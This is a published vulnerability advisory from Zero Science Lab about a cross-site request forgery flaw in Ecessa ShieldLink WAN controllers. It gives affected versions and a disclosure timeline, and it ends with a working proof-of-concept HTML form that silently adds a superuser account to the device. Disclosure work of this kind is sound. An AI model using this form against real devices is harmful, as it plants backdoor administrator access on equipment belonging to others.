Ecessa ShieldLink SL175EHQ 10.7.4 CSRF Add Superuser Exploit

2018-06-24T00:00:00
ID ZSL-2018-5476
Type zeroscience
Reporter Gjoko Krstic
Modified 2018-06-24T00:00:00

Description

Title: Ecessa ShieldLink SL175EHQ 10.7.4 CSRF Add Superuser Exploit
Advisory ID: ZSL-2018-5476
Type: Local/Remote
Impact: Cross-Site Scripting
Risk: (3/5)
Release Date: 24.06.2018

Summary

Ecessa's ShieldLink 60, 175, 600,1200 & 4000 are advanced, yet highly affordable secure WAN Optimization Controllers that incorporate all of the ISP/WAN link.

Description

The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site.

Vendor

Ecessa Corporation - <https://www.ecessa.com>

Affected Version

10.7.4
10.6.9
10.7.4
10.6.5.2
10.5.4
10.2.24
9.2.24

Tested On

lighttpd/1.4.35

Vendor Status

[21.05.2018] Vulnerability discovered.
[21.05.2018] Contact with the vendor.
[23.06.2018] No response from the vendor.
[24.06.2018] Public security advisory released.

PoC

ecessa_shieldlink_csrf.html

Credits

Vulnerability discovered by Gjoko Krstic - <gjoko@zeroscience.mk>

References

[1] <https://exchange.xforce.ibmcloud.com/vulnerabilities/145437>
[2] <https://packetstormsecurity.com/files/148304>
[3] <https://cxsecurity.com/issue/WLB-2018060287>
[4] <https://www.exploit-db.com/exploits/44938/>

Changelog

[24.06.2018] - Initial release
[11.07.2018] - Added reference [1], [2], [3] and [4]

Contact

Zero Science Lab

Web: <http://www.zeroscience.mk>
e-mail: lab@zeroscience.mk

                                        
                                            &lt;!--

Ecessa ShieldLink SL175EHQ 10.7.4 CSRF Add Superuser Exploit


Vendor: Ecessa Corporation
Product web page: https://www.ecessa.com
Affected version: 10.7.4
                  10.6.9
                  10.7.4
                  10.6.5.2
                  10.5.4
                  10.2.24
                  9.2.24

Summary: Ecessa's ShieldLink 60, 175, 600,1200 & 4000 are advanced, yet highly
affordable secure WAN Optimization Controllers that incorporate all of the ISP/WAN
link.

Desc: The application interface allows users to perform certain actions via
HTTP requests without performing any validity checks to verify the requests.
This can be exploited to perform certain actions with administrative privileges
if a logged-in user visits a malicious web site.

Tested on: lighttpd/1.4.35


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2018-5476
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5476.php


21.05.2018

--&gt;


&lt;html&gt;
  &lt;body&gt;
    &lt;form action="https://127.0.0.1/cgi-bin/pl_web.cgi/util_configlogin_act" method="POST"&gt;
      &lt;input type="hidden" name="savecrtcfg" value="checked" /&gt;
      &lt;input type="hidden" name="user_username1" value="root" /&gt;
      &lt;input type="hidden" name="user_enabled1" value="on" /&gt;
      &lt;input type="hidden" name="user_passwd1" value="" /&gt;
      &lt;input type="hidden" name="user_passwd_verify1" value="" /&gt;
      &lt;input type="hidden" name="user_delete1" value="" /&gt;
      &lt;input type="hidden" name="user_username2" value="admin" /&gt;
      &lt;input type="hidden" name="user_passwd2" value="" /&gt;
      &lt;input type="hidden" name="user_passwd_verify2" value="" /&gt;
      &lt;input type="hidden" name="user_delete2" value="" /&gt;
      &lt;input type="hidden" name="user_username3" value="user" /&gt;
      &lt;input type="hidden" name="user_enabled3" value="on" /&gt;
      &lt;input type="hidden" name="user_passwd3" value="" /&gt;
      &lt;input type="hidden" name="user_passwd_verify3" value="" /&gt;
      &lt;input type="hidden" name="user_delete3" value="" /&gt;
      &lt;input type="hidden" name="user_username4" value="h4x0r" /&gt;
      &lt;input type="hidden" name="user_enabled4" value="on" /&gt;
      &lt;input type="hidden" name="user_superuser4" value="on" /&gt;
      &lt;input type="hidden" name="user_passwd4" value="123123" /&gt;
      &lt;input type="hidden" name="user_passwd_verify4" value="123123" /&gt;
      &lt;input type="hidden" name="users_num" value="4" /&gt;
      &lt;input type="hidden" name="page" value="util_configlogin" /&gt;
      &lt;input type="hidden" name="val_requested_page" value="user_accounts" /&gt;
      &lt;input type="hidden" name="savecrtcfg" value="checked" /&gt;
      &lt;input type="hidden" name="page_uuid" value="df220e51-db68-492e-a745-d14adfd2f4fb" /&gt;
      &lt;input type="hidden" name="form_has_changed" value="1" /&gt;
      &lt;input type="submit" value="Supersize!" /&gt;
    &lt;/form&gt;
  &lt;/body&gt;
&lt;/html&gt;